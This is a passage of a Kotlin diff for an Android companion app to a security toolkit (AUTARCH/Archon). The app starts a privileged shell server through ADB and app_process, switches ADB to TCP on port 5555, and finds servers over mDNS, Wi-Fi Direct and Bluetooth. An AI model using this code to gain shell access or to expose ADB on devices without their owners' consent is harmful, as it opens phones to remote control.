* - TCP socket communication with JSON protocol
|
||||
* - Token-based authentication
|
||||
* - Server lifecycle management
|
||||
*/
|
||||
object ArchonClient {
|
||||
|
||||
private const val TAG = "ArchonClient"
|
||||
private const val DEFAULT_PORT = 17321
|
||||
private const val PREFS_NAME = "archon_server"
|
||||
private const val KEY_TOKEN = "server_token"
|
||||
private const val KEY_PORT = "server_port"
|
||||
private const val CONNECT_TIMEOUT = 3000
|
||||
private const val READ_TIMEOUT = 30000
|
||||
|
||||
private val serverRunning = AtomicBoolean(false)
|
||||
private var serverPid: Int = -1
|
||||
|
||||
/**
|
||||
* Check if the Archon server is running and responding.
|
||||
*/
|
||||
fun isServerRunning(context: Context): Boolean {
|
||||
val token = getToken(context) ?: return false
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
val result = sendCommand(token, port, "__ping__")
|
||||
val alive = result.exitCode == 0 && result.stdout == "pong"
|
||||
serverRunning.set(alive)
|
||||
alive
|
||||
} catch (e: Exception) {
|
||||
serverRunning.set(false)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server info (UID, PID, uptime) if running.
|
||||
*/
|
||||
fun getServerInfo(context: Context): String? {
|
||||
val token = getToken(context) ?: return null
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
val result = sendCommand(token, port, "__info__")
|
||||
if (result.exitCode == 0) result.stdout else null
|
||||
} catch (e: Exception) {
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the Archon server via ADB.
|
||||
*
|
||||
* Bootstrap flow:
|
||||
* 1. Get APK path from context
|
||||
* 2. Generate random auth token
|
||||
* 3. Build app_process command
|
||||
* 4. Execute via LocalAdbClient or AUTARCH server ADB
|
||||
* 5. Wait for server to start
|
||||
* 6. Verify connection
|
||||
*/
|
||||
/**
|
||||
* Check if any ArchonServer is alive on the port (no auth needed).
|
||||
*/
|
||||
fun isServerAlive(): Boolean {
|
||||
return try {
|
||||
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
|
||||
result.exitCode == 0 && result.stdout == "alive"
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fun startServer(context: Context): StartResult {
|
||||
// Check if a server is already running (possibly started from web UI)
|
||||
if (isServerAlive()) {
|
||||
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
|
||||
// If we also have a valid token, verify full auth
|
||||
if (isServerRunning(context)) {
|
||||
val info = getServerInfo(context) ?: "running"
|
||||
return StartResult(true, "Server already running: $info")
|
||||
}
|
||||
// Server alive but we don't have the right token
|
||||
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
|
||||
}
|
||||
|
||||
// Generate new token for this session
|
||||
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||
val port = DEFAULT_PORT
|
||||
|
||||
// Save token and port
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_TOKEN, token)
|
||||
.putInt(KEY_PORT, port)
|
||||
.apply()
|
||||
|
||||
// Get APK path
|
||||
val apkPath = context.applicationInfo.sourceDir
|
||||
if (apkPath.isNullOrEmpty()) {
|
||||
return StartResult(false, "Could not determine APK path")
|
||||
}
|
||||
|
||||
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
|
||||
// TMPDIR is needed so dalvik-cache can be created by shell user
|
||||
val bootstrapCmd = buildString {
|
||||
append("TMPDIR=/data/local/tmp ")
|
||||
append("CLASSPATH='$apkPath' ")
|
||||
append("/system/bin/app_process /system/bin ")
|
||||
append("com.darkhal.archon.server.ArchonServer ")
|
||||
append("$token $port")
|
||||
}
|
||||
|
||||
// Wrap in nohup + background so it survives ADB disconnect
|
||||
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
|
||||
|
||||
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
|
||||
|
||||
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
|
||||
val adbResult = if (LocalAdbClient.isConnected()) {
|
||||
Log.i(TAG, "Starting server via LocalAdbClient")
|
||||
val r = LocalAdbClient.execute(fullCmd)
|
||||
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
|
||||
r
|
||||
} else {
|
||||
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
|
||||
val httpResult = startServerViaHttp(context, apkPath, token, port)
|
||||
if (httpResult != null) {
|
||||
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
|
||||
httpResult
|
||||
} else {
|
||||
Log.e(TAG, "Both ADB methods failed — no connection available")
|
||||
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
|
||||
}
|
||||
}
|
||||
|
||||
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
|
||||
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
|
||||
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
|
||||
}
|
||||
|
||||
// Wait for server to come up
|
||||
Log.i(TAG, "Waiting for server to start...")
|
||||
for (i in 1..10) {
|
||||
Thread.sleep(500)
|
||||
if (isServerRunning(context)) {
|
||||
val info = getServerInfo(context) ?: "running"
|
||||
Log.i(TAG, "Server started: $info")
|
||||
return StartResult(true, "Server running: $info")
|
||||
}
|
||||
}
|
||||
|
||||
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a shell command via the Archon server.
|
||||
*/
|
||||
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
|
||||
val token = getToken(context)
|
||||
?: return ShellResult("", "No server token — start server first", -1)
|
||||
val port = getPort(context)
|
||||
|
||||
return try {
|
||||
sendCommand(token, port, command, timeoutSec)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Execute failed", e)
|
||||
serverRunning.set(false)
|
||||
ShellResult("", "Server communication error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the Archon server.
|
||||
*/
|
||||
fun stopServer(context: Context): Boolean {
|
||||
val token = getToken(context) ?: return false
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
sendCommand(token, port, "__shutdown__")
|
||||
serverRunning.set(false)
|
||||
Log.i(TAG, "Server shutdown requested")
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Stop failed", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate the bootstrap command string (for display/manual use).
|
||||
*/
|
||||
fun getBootstrapCommand(context: Context): String {
|
||||
val token = getToken(context) ?: "TOKEN"
|
||||
val port = getPort(context)
|
||||
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
|
||||
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
|
||||
"com.darkhal.archon.server.ArchonServer $token $port"
|
||||
}
|
||||
|
||||
// ── Internal ────────────────────────────────────────────────────
|
||||
|
||||
private fun getToken(context: Context): String? {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_TOKEN, null)
|
||||
}
|
||||
|
||||
private fun getPort(context: Context): Int {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
}
|
||||
|
||||
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
|
||||
val socket = Socket()
|
||||
try {
|
||||
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
|
||||
socket.soTimeout = (timeoutSec + 5) * 1000
|
||||
|
||||
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
|
||||
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||
|
||||
// Build JSON request
|
||||
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
|
||||
writer.println(request)
|
||||
|
||||
// Read JSON response
|
||||
val response = reader.readLine()
|
||||
?: return ShellResult("", "No response from server", -1)
|
||||
|
||||
return parseResponse(response)
|
||||
} finally {
|
||||
try { socket.close() } catch (e: Exception) { /* ignore */ }
|
||||
}
|
||||
}
|
||||
|
||||
private fun parseResponse(json: String): ShellResult {
|
||||
val stdout = extractJsonString(json, "stdout") ?: ""
|
||||
val stderr = extractJsonString(json, "stderr") ?: ""
|
||||
val exitCode = extractJsonInt(json, "exit_code", -1)
|
||||
return ShellResult(stdout, stderr, exitCode)
|
||||
}
|
||||
|
||||
private fun extractJsonString(json: String, key: String): String? {
|
||||
val search = "\"$key\""
|
||||
var idx = json.indexOf(search)
|
||||
if (idx < 0) return null
|
||||
|
||||
idx = json.indexOf(':', idx + search.length)
|
||||
if (idx < 0) return null
|
||||
idx++
|
||||
|
||||
while (idx < json.length && json[idx] == ' ') idx++
|
||||
if (idx >= json.length || json[idx] != '"') return null
|
||||
idx++
|
||||
|
||||
val sb = StringBuilder()
|
||||
while (idx < json.length) {
|
||||
val c = json[idx]
|
||||
if (c == '\\' && idx + 1 < json.length) {
|
||||
when (json[idx + 1]) {
|
||||
'"' -> sb.append('"')
|
||||
'\\' -> sb.append('\\')
|
||||
'n' -> sb.append('\n')
|
||||
'r' -> sb.append('\r')
|
||||
't' -> sb.append('\t')
|
||||
else -> sb.append(json[idx + 1])
|
||||
}
|
||||
idx += 2
|
||||
} else if (c == '"') {
|
||||
break
|
||||
} else {
|
||||
sb.append(c)
|
||||
idx++
|
||||
}
|
||||
}
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
private fun extractJsonInt(json: String, key: String, default: Int): Int {
|
||||
val search = "\"$key\""
|
||||
var idx = json.indexOf(search)
|
||||
if (idx < 0) return default
|
||||
|
||||
idx = json.indexOf(':', idx + search.length)
|
||||
if (idx < 0) return default
|
||||
idx++
|
||||
|
||||
while (idx < json.length && json[idx] == ' ') idx++
|
||||
|
||||
val sb = StringBuilder()
|
||||
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
|
||||
sb.append(json[idx])
|
||||
idx++
|
||||
}
|
||||
return sb.toString().toIntOrNull() ?: default
|
||||
}
|
||||
|
||||
/**
|
||||
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
|
||||
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
|
||||
*/
|
||||
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
val serverPort = PrefsManager.getWebPort(context)
|
||||
if (serverIp.isEmpty()) return null
|
||||
|
||||
return try {
|
||||
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
|
||||
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
|
||||
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
|
||||
|
||||
if (code in 200..299) {
|
||||
val stdout = extractJsonString(body, "stdout") ?: body
|
||||
val stderr = extractJsonString(body, "stderr") ?: ""
|
||||
val exitCode = extractJsonInt(body, "exit_code", 0)
|
||||
ShellResult(stdout, stderr, exitCode)
|
||||
} else {
|
||||
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
|
||||
null
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Bootstrap failed: ${e.message}")
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
private fun escapeJson(s: String): String {
|
||||
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||
}
|
||||
|
||||
data class StartResult(val success: Boolean, val message: String)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
object AdbManager {
|
||||
|
||||
private const val ADBD_PROCESS = "adbd"
|
||||
|
||||
/**
|
||||
* Enable ADB over TCP/IP on the specified port.
|
||||
* Uses the best available privilege method.
|
||||
*/
|
||||
fun enableTcpMode(port: Int = 5555): ShellResult {
|
||||
return PrivilegeManager.execute(
|
||||
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable ADB TCP/IP mode, reverting to USB-only.
|
||||
*/
|
||||
fun disableTcpMode(): ShellResult {
|
||||
return PrivilegeManager.execute(
|
||||
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Kill the ADB daemon.
|
||||
*/
|
||||
fun killServer(): ShellResult {
|
||||
return PrivilegeManager.execute("stop adbd")
|
||||
}
|
||||
|
||||
/**
|
||||
* Restart the ADB daemon (stop then start).
|
||||
*/
|
||||
fun restartServer(): ShellResult {
|
||||
return PrivilegeManager.execute("stop adbd && start adbd")
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the ADB daemon process is currently running.
|
||||
*/
|
||||
fun isRunning(): Boolean {
|
||||
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the current ADB mode: "tcp" with port number, or "usb".
|
||||
*/
|
||||
fun getMode(): String {
|
||||
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
|
||||
val port = result.stdout.trim()
|
||||
return if (port.isNotEmpty() && port != "-1" && port != "0") {
|
||||
"tcp:$port"
|
||||
} else {
|
||||
"usb"
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a combined status map for display.
|
||||
*/
|
||||
fun getStatus(): Map<String, Any> {
|
||||
val running = isRunning()
|
||||
val mode = getMode()
|
||||
return mapOf(
|
||||
"running" to running,
|
||||
"mode" to mode,
|
||||
"tcp_enabled" to mode.startsWith("tcp")
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.bluetooth.BluetoothAdapter
|
||||
import android.bluetooth.BluetoothDevice
|
||||
import android.bluetooth.BluetoothManager
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.net.nsd.NsdManager
|
||||
import android.net.nsd.NsdServiceInfo
|
||||
import android.net.wifi.WifiManager
|
||||
import android.net.wifi.p2p.WifiP2pConfig
|
||||
import android.net.wifi.p2p.WifiP2pDevice
|
||||
import android.net.wifi.p2p.WifiP2pDeviceList
|
||||
import android.net.wifi.p2p.WifiP2pInfo
|
||||
import android.net.wifi.p2p.WifiP2pManager
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.util.Log
|
||||
|
||||
/**
|
||||
* Discovers AUTARCH servers on the network using three methods (priority order):
|
||||
*
|
||||
* 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable)
|
||||
* 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists
|
||||
* 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
|
||||
*
|
||||
* Usage:
|
||||
* val discovery = DiscoveryManager(context)
|
||||
* discovery.listener = object : DiscoveryManager.Listener { ... }
|
||||
* discovery.startDiscovery()
|
||||
* // ... later ...
|
||||
* discovery.stopDiscovery()
|
||||
*/
|
||||
class DiscoveryManager(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ArchonDiscovery"
|
||||
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
|
||||
private const val BT_TARGET_NAME = "AUTARCH"
|
||||
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
|
||||
private const val DISCOVERY_TIMEOUT_MS = 15000L
|
||||
}
|
||||
|
||||
// ── Result Data ─────────────────────────────────────────────────
|
||||
|
||||
data class DiscoveredServer(
|
||||
val ip: String,
|
||||
val port: Int,
|
||||
val hostname: String,
|
||||
val method: ConnectionMethod,
|
||||
val extras: Map<String, String> = emptyMap()
|
||||
)
|
||||
|
||||
enum class ConnectionMethod {
|
||||
MDNS, // Found via mDNS on local network
|
||||
WIFI_DIRECT, // Found via Wi-Fi Direct
|
||||
BLUETOOTH // Found via Bluetooth
|
||||
}
|
||||
|
||||
// ── Listener ────────────────────────────────────────────────────
|
||||
|
||||
interface Listener {
|
||||
fun onServerFound(server: DiscoveredServer)
|
||||
fun onDiscoveryStarted(method: ConnectionMethod)
|
||||
fun onDiscoveryStopped(method: ConnectionMethod)
|
||||
fun onDiscoveryError(method: ConnectionMethod, error: String)
|
||||
}
|
||||
|
||||
var listener: Listener? = null
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// ── State ───────────────────────────────────────────────────────
|
||||
|
||||
private var mdnsRunning = false
|
||||
private var wifiDirectRunning = false
|
||||
private var bluetoothRunning = false
|
||||
|
||||
private var nsdManager: NsdManager? = null
|
||||
private var discoveryListener: NsdManager.DiscoveryListener? = null
|
||||
private var wifiP2pManager: WifiP2pManager? = null
|
||||
private var wifiP2pChannel: WifiP2pManager.Channel? = null
|
||||
private var bluetoothAdapter: BluetoothAdapter? = null
|
||||
|
||||
private val discoveredServers = mutableListOf<DiscoveredServer>()
|
||||
|
||||
// ── Public API ──────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Start all available discovery methods in priority order.
|
||||
* Results arrive via the [Listener] callback.
|
||||
*/
|
||||
fun startDiscovery() {
|
||||
discoveredServers.clear()
|
||||
startMdnsDiscovery()
|
||||
startWifiDirectDiscovery()
|
||||
startBluetoothDiscovery()
|
||||
|
||||
// Auto-stop after timeout
|
||||
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop all discovery methods.
|
||||
*/
|
||||
fun stopDiscovery() {
|
||||
stopMdnsDiscovery()
|
||||
stopWifiDirectDiscovery()
|
||||
stopBluetoothDiscovery()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all servers found so far.
|
||||
*/
|
||||
fun getDiscoveredServers(): List<DiscoveredServer> {
|
||||
return discoveredServers.toList()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the best server (highest priority method).
|
||||
*/
|
||||
fun getBestServer(): DiscoveredServer? {
|
||||
return discoveredServers.minByOrNull { it.method.ordinal }
|
||||
}
|
||||
|
||||
// ── mDNS / NSD ─────────────────────────────────────────────────
|
||||
|
||||
private fun startMdnsDiscovery() {
|
||||
if (mdnsRunning) return
|
||||
|
||||
try {
|
||||
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
|
||||
if (nsdManager == null) {
|
||||
notifyError(ConnectionMethod.MDNS, "NSD service not available")
|
||||
return
|
||||
}
|
||||
|
||||
discoveryListener = object : NsdManager.DiscoveryListener {
|
||||
override fun onDiscoveryStarted(serviceType: String) {
|
||||
Log.d(TAG, "mDNS discovery started")
|
||||
mdnsRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
|
||||
}
|
||||
|
||||
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
|
||||
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
|
||||
// Resolve to get IP and port
|
||||
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
|
||||
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
|
||||
Log.w(TAG, "mDNS resolve failed: $errorCode")
|
||||
}
|
||||
|
||||
override fun onServiceResolved(info: NsdServiceInfo) {
|
||||
val host = info.host?.hostAddress ?: return
|
||||
val port = info.port
|
||||
val hostname = info.attributes["hostname"]
|
||||
?.let { String(it) } ?: info.serviceName
|
||||
|
||||
val server = DiscoveredServer(
|
||||
ip = host,
|
||||
port = port,
|
||||
hostname = hostname,
|
||||
method = ConnectionMethod.MDNS,
|
||||
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
|
||||
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
|
||||
}
|
||||
|
||||
override fun onDiscoveryStopped(serviceType: String) {
|
||||
mdnsRunning = false
|
||||
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
|
||||
}
|
||||
|
||||
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||
mdnsRunning = false
|
||||
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
|
||||
}
|
||||
|
||||
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||
Log.w(TAG, "mDNS stop failed: $errorCode")
|
||||
}
|
||||
}
|
||||
|
||||
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopMdnsDiscovery() {
|
||||
if (!mdnsRunning) return
|
||||
try {
|
||||
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "mDNS stop error: ${e.message}")
|
||||
}
|
||||
mdnsRunning = false
|
||||
}
|
||||
|
||||
// ── Wi-Fi Direct ────────────────────────────────────────────────
|
||||
|
||||
private val wifiP2pReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(ctx: Context, intent: Intent) {
|
||||
when (intent.action) {
|
||||
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
|
||||
// Peers list changed, request updated list
|
||||
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
|
||||
handleWifiDirectPeers(peers)
|
||||
}
|
||||
}
|
||||
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
|
||||
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
|
||||
handleWifiDirectConnection(info)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startWifiDirectDiscovery() {
|
||||
if (wifiDirectRunning) return
|
||||
|
||||
try {
|
||||
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
|
||||
if (wifiP2pManager == null) {
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
|
||||
return
|
||||
}
|
||||
|
||||
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
|
||||
|
||||
// Register receiver for Wi-Fi Direct events
|
||||
val intentFilter = IntentFilter().apply {
|
||||
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
|
||||
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
|
||||
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
|
||||
}
|
||||
context.registerReceiver(wifiP2pReceiver, intentFilter)
|
||||
|
||||
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
|
||||
override fun onSuccess() {
|
||||
wifiDirectRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
|
||||
Log.d(TAG, "Wi-Fi Direct discovery started")
|
||||
}
|
||||
|
||||
override fun onFailure(reason: Int) {
|
||||
val msg = when (reason) {
|
||||
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
|
||||
WifiP2pManager.BUSY -> "System busy"
|
||||
WifiP2pManager.ERROR -> "Internal error"
|
||||
else -> "Unknown error ($reason)"
|
||||
}
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
|
||||
}
|
||||
})
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
|
||||
for (device in peers.deviceList) {
|
||||
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
|
||||
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
|
||||
// Found an AUTARCH device — connect to get IP
|
||||
connectWifiDirect(device)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun connectWifiDirect(device: WifiP2pDevice) {
|
||||
val config = WifiP2pConfig().apply {
|
||||
deviceAddress = device.deviceAddress
|
||||
}
|
||||
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
|
||||
override fun onSuccess() {
|
||||
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
|
||||
}
|
||||
|
||||
override fun onFailure(reason: Int) {
|
||||
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
|
||||
if (info.groupFormed) {
|
||||
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
|
||||
// The group owner is the AUTARCH server
|
||||
val server = DiscoveredServer(
|
||||
ip = ownerAddress,
|
||||
port = 8181, // Default — will be refined via mDNS or API call
|
||||
hostname = "AUTARCH (Wi-Fi Direct)",
|
||||
method = ConnectionMethod.WIFI_DIRECT
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopWifiDirectDiscovery() {
|
||||
if (!wifiDirectRunning) return
|
||||
try {
|
||||
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
|
||||
context.unregisterReceiver(wifiP2pReceiver)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
|
||||
}
|
||||
wifiDirectRunning = false
|
||||
}
|
||||
|
||||
// ── Bluetooth ───────────────────────────────────────────────────
|
||||
|
||||
private val btReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(ctx: Context, intent: Intent) {
|
||||
when (intent.action) {
|
||||
BluetoothDevice.ACTION_FOUND -> {
|
||||
val device = intent.getParcelableExtra<BluetoothDevice>(
|
||||
BluetoothDevice.EXTRA_DEVICE
|
||||
) ?: return
|
||||
|
||||
val name = try { device.name } catch (e: SecurityException) { null }
|
||||
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
|
||||
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
|
||||
|
||||
val server = DiscoveredServer(
|
||||
ip = "", // BT doesn't give IP directly — use for pairing flow
|
||||
port = 0,
|
||||
hostname = name,
|
||||
method = ConnectionMethod.BLUETOOTH,
|
||||
extras = mapOf(
|
||||
"bt_address" to device.address,
|
||||
"bt_name" to name
|
||||
)
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
}
|
||||
}
|
||||
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
|
||||
bluetoothRunning = false
|
||||
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startBluetoothDiscovery() {
|
||||
if (bluetoothRunning) return
|
||||
|
||||
try {
|
||||
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
|
||||
bluetoothAdapter = btManager?.adapter
|
||||
|
||||
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
|
||||
return
|
||||
}
|
||||
|
||||
val intentFilter = IntentFilter().apply {
|
||||
addAction(BluetoothDevice.ACTION_FOUND)
|
||||
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
|
||||
}
|
||||
context.registerReceiver(btReceiver, intentFilter)
|
||||
|
||||
val started = try {
|
||||
bluetoothAdapter?.startDiscovery() == true
|
||||
} catch (e: SecurityException) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
|
||||
return
|
